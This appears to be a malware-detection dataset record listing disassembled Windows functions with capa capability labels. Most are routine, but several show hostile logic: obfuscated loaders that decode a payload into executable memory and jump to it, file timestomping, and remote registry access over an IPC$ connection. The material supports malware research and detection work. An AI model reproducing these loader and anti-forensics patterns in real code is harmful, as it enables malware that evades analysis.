joyce8/EMBER2024-capa huggingface dataset:
Function at 0x459d7f
Capabilities:
Connect network resource
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
push edi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
call fcn.0040c040
lea ecx, [ebp - 0x1c]
call fcn.0040c040
lea ecx, [ebp - 0x3c]
call fcn.0040c040
mov ebx, str.SOFTWAREClasses_
lea eax, [ebp - 0x2c]
call fcn.004022c0
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x2c]
call fcn.0040d650
mov edi, str.CLSID
lea eax, [ebp - 0x2c]
call fcn.0040d650
mov ebx, 0x4956ec
lea eax, [ebp - 0x1c]
call fcn.004022c0
test esi, esi
je 0x459e08
cmp word [esi], 0x5c
je 0x459e08
cmp word [esi + 2], 0x5c
je 0x459e08
mov ebx, 0x495724
lea eax, [ebp - 0x1c]
call fcn.004022c0
mov edi, esi
lea eax, [ebp - 0x1c]
call fcn.0040d650
mov ebx, dword [ebp + 0x14]
test ebx, ebx
je 0x459e5f
push 0x20
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.004129c0
add esp, 0xc
lea ecx, [ebp - 0x1c]
push ecx
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x58], 0
call fcn.0040e580
mov edi, str.IPC_
mov eax, esi
call fcn.0040d650
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp - 0x3c]
push 0
push ebx
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov dword [ebp - 0x48], edx
call dword [sym.imp.MPR.dll_WNetAddConnection2W]
mov edi, eax
test edi, edi
js 0x459ef5
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 8]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
mov edi, eax
test edi, edi
jne 0x459ef5
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0xc]
push ecx
push 0x20019
push eax
mov eax, dword [ebp - 8]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, eax
test edi, edi
jne 0x459eef
mov eax, dword [ebp - 0xc]
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp - 0x264]
push edx
push 0
push 0
push 0
push eax
mov dword [ebp + 0xc], 0x1fe
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
test edi, edi
jne 0x459ee9
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
shr eax, 1
xor ecx, ecx
mov dword [ebp + 0xc], eax
mov word [ebp + eax*2 - 0x264], cx
push edx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
mov edi, eax
mov ecx, dword [ebp - 0xc]
push ecx
call esi
mov edx, dword [ebp - 8]
push edx
call esi
lea ecx, [ebp - 0x3c]
call fcn.004023b0
lea ecx, [ebp - 0x1c]
call fcn.004023b0
lea ecx, [ebp - 0x2c]
call fcn.004023b0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45e865
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
lea ecx, [ebp - 0x18]
call fcn.0040c040
xor ebx, ebx
push 0x3c
lea eax, [ebp - 0x54]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], 1
call fcn.004129c0
mov esi, dword [ebp + 0x10]
add esp, 0xc
cmp dword [ebp + 0x14], 2
jb 0x45e8c0
mov ecx, dword [esi + 4]
mov eax, dword [ecx + 4]
push eax
call fcn.00457f8a
cmp word [eax], bx
je 0x45e8c0
mov edx, dword [esi + 4]
mov eax, dword [edx + 4]
push eax
call fcn.00457f8a
mov edi, eax
call fcn.00410100
mov ebx, eax
cmp dword [ebp + 0x14], 3
jb 0x45e8dc
mov eax, dword [esi + 4]
mov eax, dword [eax + 8]
push eax
call fcn.00457f8a
mov edi, eax
call fcn.00410100
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 4
jb 0x45e918
mov ecx, dword [esi + 4]
mov eax, dword [ecx + 0xc]
push eax
call fcn.00457f8a
cmp word [eax], 0
je 0x45e918
mov edx, dword [esi + 4]
mov edi, dword [edx + 0xc]
push 0x29
push edi
call fcn.0045192e
test al, al
jne 0x45e918
push edi
call fcn.00457f69
push eax
lea esi, [ebp - 0x18]
call fcn.0040e580
mov esi, dword [ebp + 0x10]
cmp dword [ebp + 0x14], 5
jb 0x45e92f
mov eax, dword [esi + 4]
mov ecx, dword [eax + 0x10]
call fcn.0040ca20
movzx ecx, ax
mov dword [ebp - 8], ecx
push 0x3c
lea edx, [ebp - 0x54]
push 0
push edx
call fcn.004129c0
mov eax, dword [ebp - 0x18]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], eax
mov eax, dword [ecx]
add esp, 0xc
push eax
call fcn.00457f8a
mov edx, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esi, eax
test ebx, ebx
je 0x45e990
push ebx
call fcn.00411076
add esp, 4
test edi, edi
je 0x45e99d
push edi
call fcn.00411076
add esp, 4
test esi, esi
jne 0x45e9db
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
push 1
add eax, ecx
call fcn.004040c0
mov esi, dword [ebp + 0x18]
call fcn.00409370
mov dword [esi + 8], 1
mov dword [esi], 0
lea ecx, [ebp - 0x18]
call fcn.004023b0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp byte [ebp + 0xc], 0
je 0x45ea00
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x450], eax
lea ecx, [ebp - 0x18]
call fcn.004023b0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov esi, dword [ebp + 0x18]
call fcn.00409370
mov eax, dword [ebp - 0x1c]
mov dword [esi + 8], 1
mov dword [esi], 1
test eax, eax
je 0x45e9c8
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.004023b0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x45eb7a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2030
call fcn.00426630
push ebx
push esi
push edi
lea ecx, [ebp - 0x18]
call fcn.0040c040
lea ecx, [ebp - 0x28]
call fcn.0040c040
mov eax, dword [ebp + 8]
push eax
xor esi, esi
call fcn.00457f8a
mov edi, eax
movzx eax, word [edi]
xor bl, bl
mov dword [ebp - 8], edi
test ax, ax
je 0x45eca4
mov edi, edi
inc esi
cmp ax, 0x25
jne 0x45ec7f
cmp word [edi + esi*2], ax
jne 0x45ebdd
push 0x25
lea eax, [ebp - 0x18]
mov bl, 1
call fcn.00403450
inc esi
jmp 0x45ec88
mov ebx, 0x4956ec
lea eax, [ebp - 0x28]
call fcn.004022c0
movzx eax, word [edi + esi*2]
cmp eax, 0x25
je 0x45ec16
lea esp, [esp]
test ax, ax
je 0x45ec16
movzx eax, ax
push eax
lea eax, [ebp - 0x28]
call fcn.00403450
movzx eax, word [edi + esi*2 + 2]
inc esi
cmp eax, 0x25
jne 0x45ebfa
cmp word [edi + esi*2], 0
je 0x45ecbd
mov eax, dword [ebp - 0x28]
push 0xfff
lea edx, [ebp - 0x202c]
push edx
xor ecx, ecx
push eax
inc esi
mov word [ebp - 0x202c], cx
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
test eax, eax
lea eax, [ebp - 0x18]
je 0x45ec5a
lea edi, [ebp - 0x202c]
call fcn.0040d650
mov edi, dword [ebp - 8]
mov bl, 1
jmp 0x45ec88
mov edi, 0x49cd34
mov bl, 1
call fcn.0040d650
lea ecx, [ebp - 0x28]
push ecx
lea eax, [ebp - 0x18]
call fcn.0040c120
lea eax, [ebp - 0x18]
call fcn.0040d650
mov edi, dword [ebp - 8]
jmp 0x45ec88
push eax
lea eax, [ebp - 0x18]
call fcn.00403450
movzx eax, word [edi + esi*2]
test ax, ax
jne 0x45ebba
test bl, bl
je 0x45eca4
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x18]
call fcn.0040e9e0
lea ecx, [ebp - 0x28]
call fcn.004023b0
lea ecx, [ebp - 0x18]
call fcn.004023b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, 0x49cd34
lea eax, [ebp - 0x18]
call fcn.0040d650
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x18]
call fcn.0040c120
jmp 0x45ec99
Function at 0x46c05f
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
mov eax, 2
push edx
mov word [ebx], ax
call fcn.00461241
mov eax, dword [eax]
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
lea esi, [ebp - 0x10]
mov edi, eax
call fcn.004014b0
cmp edi, 0xffffffff
jne 0x46c0d1
mov eax, dword [ebp + 0x10]
push 0x49bf30
push eax
call fcn.00451509
add esp, 8
test al, al
je 0x46c0d1
push 0
push 1
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
add eax, ecx
call fcn.004040c0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push 2
jmp 0x46c0b1
mov eax, dword [ebp + 0x14]
lea ecx, [eax - 1]
mov dword [ebx + 4], edi
cmp ecx, 0xfffe
ja 0x46c0cb
push eax
call dword [sym.imp.WSOCK32.dll_htons]
pop edi
mov word [ebx + 2], ax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x46f313
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov al, byte [0x4a85cf]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push 0x8000
push edi
mov byte [ebp - 4], al
call fcn.00414359
add esp, 4
push eax
call fcn.0041426e
add esp, 8
mov esi, eax
push ebx
mov dword [ebp - 8], esi
call fcn.004480d3
test al, al
je 0x46f370
push edi
push ebx
call fcn.0044749f
push eax
push 1
push ebx
call fcn.0046ee27
push eax
call fcn.004144d6
add esp, 0x10
mov ebx, eax
jmp 0x46f3bb
push esi
jmp 0x46f3ce
lea esi, [ebp - 0x1c]
call fcn.0040d750
push ebx
call fcn.00457f69
push esi
push eax
call fcn.0045f366
mov edx, dword [ebp - 0x1c]
push edx
push 0x498a74
push edi
call fcn.00414550
add esp, 0xc
cmp byte [ebp - 4], 0
mov dword [ebp - 0xc], eax
je 0x46f3ad
push ebx
call fcn.00457f8a
push eax
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringW]
lea esi, [ebp - 0x1c]
call fcn.004014b0
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
push edi
call fcn.004147e6
add esp, 4
cmp esi, 0xffffffff
jne 0x46f36d
push 0x4000
push edi
call fcn.00414359
add esp, 4
push eax
call fcn.0041426e
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x403f59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x403f68
pop dword [ebp - 0x44]
mov eax, 0xdc50d501
add eax, 0x23ef6a67
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3d4090d0
add dword [ebp - 0x54], 0x1111b47b
mov dword [ebp - 0x50], 0xe26dff9b
sub dword [ebp - 0x50], 0xb03ab356
mov dword [ebp - 0x4c], 0x3b64ca49
add dword [ebp - 0x4c], 0x10e779e5
mov dword [ebp - 0x48], 0x13215b9c
add dword [ebp - 0x48], 0xecdea464
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x7bc4019b
sub dword [ebp - 0x54], 0x7519845
mov dword [ebp - 0x50], 0xb7e202a9
add dword [ebp - 0x50], 0x898a5ecc
mov dword [ebp - 0x4c], 0xde7cadd5
add dword [ebp - 0x4c], 0x84f2be97
mov dword [ebp - 0x48], 0x28989419
add dword [ebp - 0x48], 0xd7676be7
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xddd40a26
sub eax, 0xdd9339da
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3577c
push 0
call eax
mov ecx, 0x2624c8ce
add ecx, 0xd9db6eaf
xor edi, edi
add edi, eax
mov edx, 0x5c07ff
add edx, 0xffe5a801
add edx, dword [ebp - 0x44]
mov esi, 0x4385701b
sub esi, 0x919d4899
add dword [ebp - 0x10], edi
mov ebx, dword [edx]
sub dword [ebp - 0x28], 0x596fa8bc
xor ebx, esi
mov dword [ebp - 0x18], 0x5427b5e0
mov dword [edi], ebx
add dword [ebp - 0x10], esi
add edi, 0xd2f774a3
sub edi, 0xd2f7749f
add edx, 4
loop 0x404087
add eax, 0xb1827b0d
sub eax, 0xb181aa46
mov ebx, eax
add eax, 5
mov ecx, 0x71272c84
sub ecx, 0x70e72c84
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1001ee2
Capabilities:
Delete file
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
xor esi, esi
cmp dword [0x100404c], esi
jne 0x1001efb
push 0xfffffffffffffff9
pop eax
jmp 0x1001fcf
push ebx
push edi
mov edi, dword [ebp + 0xc]
push esi
push esi
push edi
mov dword [0x100403c], 1
call fcn.01001e1c
mov ebx, eax
or eax, 0xffffffff
add esp, 0xc
cmp ebx, eax
je 0x1001fcd
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov ecx, dword [ebp + 0x1c]
mov dword [ecx + 0x24], eax
jne 0x1001f3c
or esi, eax
jmp 0x1001fc4
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push 0x1001cb3
push esi
push 0x100113e
push edi
push dword [0x100404c]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0xc], ecx
call sub.Cabinet.dll_FDICopy
add esp, 0x1c
test eax, eax
je 0x1001f85
xor esi, esi
inc esi
jmp 0x1001fc4
mov eax, dword [0x1004040]
cmp eax, 3
jl 0x1001fb8
cmp eax, 4
jle 0x1001fb4
cmp eax, 5
je 0x1001fb0
cmp eax, 6
je 0x1001fb4
cmp eax, 8
je 0x1001fa8
cmp eax, 0xb
jne 0x1001fb8
mov esi, dword [0x100403c]
jmp 0x1001fbb
push 0xfffffffffffffffb
jmp 0x1001fba
push 0xfffffffffffffffd
jmp 0x1001fba
push 0xfffffffffffffff9
pop esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call fcn.01001eb5
pop ecx
mov eax, esi
pop edi
pop ebx
pop esi
leave
ret 0x18
Function at 0x10020a5
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001140
call fcn.01002334
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x10020e0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10020e0
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10020f8
cmp eax, 0x20b
je 0x10020e5
mov dword [ebp - 0x1c], edi
jmp 0x100210c
cmp dword [ecx + 0x84], 0xe
jbe 0x10020e0
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1002106
cmp dword [ecx + 0x74], 0xe
jbe 0x10020e0
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x100489c], 0xffffffff
or dword [0x10048a0], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1004038]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1004034]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x10048a4], eax
call fcn.010020a0
cmp dword [section..data], edi
jne 0x1002167
push 0x1002330
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100231e
push 0x1001110
push 0x100110c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1004030]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x100402c]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001108
push 0x1001104
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.010016e8
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x10021de
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1002213
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100236d
ret

Function at 0x10023cc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023d3
sub eax, edx
push esi
inc eax
push eax
push 0x40
call sub.KERNEL32.dll_LocalAlloc
mov esi, eax
test esi, esi
je 0x100241c
push edi
push esi
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_CharToOemA]
push esi
call sub.KERNEL32.dll_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x1002407
xor edi, edi
jmp 0x1002413
test al, 0x10
jne 0x1002410
xor edi, edi
inc edi
jmp 0x1002413
push 2
pop edi
push esi
call sub.KERNEL32.dll_LocalFree
mov eax, edi
pop edi
pop esi
ret 4
Function at 0x100260c
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_GetFileTime
test eax, eax
jne 0x100262f
or eax, 0xffffffff
jmp 0x100264b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0xc]
call sub.KERNEL32.dll_SetFileTime
neg eax
sbb eax, eax
and eax, 2
dec eax
leave
ret 8
Function at 0x1af7610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9ed000]
push edi
or ebp, 0xffffffff
jmp 0x1af7632
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1af7639
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1af7628
mov eax, 1
add ebx, ebx
jne 0x1af764b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1af765c
jne 0x1af767b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1af767b
dec eax
add ebx, ebx
jne 0x1af7668
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1af7640
add ebx, ebx
jne 0x1af7677
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1af76cd
xor ecx, ecx
sub eax, 3
jb 0x1af7693
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1af7702
sar eax, 1
mov ebp, eax
jmp 0x1af769e
add ebx, ebx
jne 0x1af769e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1af766c
inc ecx
add ebx, ebx
jne 0x1af76ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1af766c
add ebx, ebx
jne 0x1af76b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1af76ae
jne 0x1af76ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1af76ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1af76ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1af76de
jmp 0x1af762e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1af76ec
add edi, ecx
jmp 0x1af762e
pop esi
mov edi, esi
mov ecx, 0x76d2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1af770a
cmp byte [edi], 0x22
jne 0x1af770a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1af770f
lea edi, [esi + 0x16f4000]
mov eax, dword [edi]
or eax, eax
je 0x1af7787
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x173dc64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x173dd88]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1af773c
mov ecx, edi
jns 0x1af776b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x173dd90]
or eax, eax
je 0x1af7781
mov dword [ebx], eax
add ebx, 4
jmp 0x1af7759
call dword [esi + 0x173dd8c]
mov ebp, dword [esi + 0x173dd94]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1af77bb
sub esp, 0xffffff80
jmp 0x4fcfbe
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x1000f470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000f47f
pop dword [ebp - 0x2c]
mov eax, 0xb68ae9b6
sub eax, 0xa689f537
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x87a3435d
add dword [ebp - 0x3c], 0xc6af01ee
mov dword [ebp - 0x38], 0x8f72f6fa
sub dword [ebp - 0x38], 0x5d3faab5
mov dword [ebp - 0x34], 0xe3c47497
sub dword [ebp - 0x34], 0x97783069
mov dword [ebp - 0x30], 0x86b5c84f
add dword [ebp - 0x30], 0x794a37b1
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xc2bd2159
sub eax, 0xb2bbc0f9
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xc8c1963c
sub dword [ebp - 0x3c], 0x544f2ce6
mov dword [ebp - 0x38], 0xc4f61519
add dword [ebp - 0x38], 0x7c764c5c
mov dword [ebp - 0x34], 0x1ba392fb
add dword [ebp - 0x34], 0x47cbd971
mov dword [ebp - 0x30], 0xb32d72cc
add dword [ebp - 0x30], 0x4cd28d34
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xfa241cc5
sub eax, 0xea22bc61
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x38ca9
push 0
call eax
mov ecx, 0xc0591e25
sub ecx, 0xc058d1f0
xor edi, edi
add edi, eax
mov edx, 0x57081cf8
sub edx, 0x4705e6f8
add edx, dword [ebp - 0x2c]
mov esi, 0x648a1be4
xor dword [ebp - 0x10], 0x4a35f028
mov ebx, dword [edx]
sub dword [ebp - 0x28], 0xcd63a1c4
add ebx, esi
mov dword [edi], ebx
add dword [ebp - 0x10], eax
add edi, 0x93841bdb
sub edi, 0x93841bd7
add edx, 0xd261efb
sub edx, 0xd261ef7
loop 0x1000f59d
add eax, 0xc96c6c17
add eax, 0x3694b790
mov ebx, eax
add eax, 0xad5647df
add eax, 0x52a9b826
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret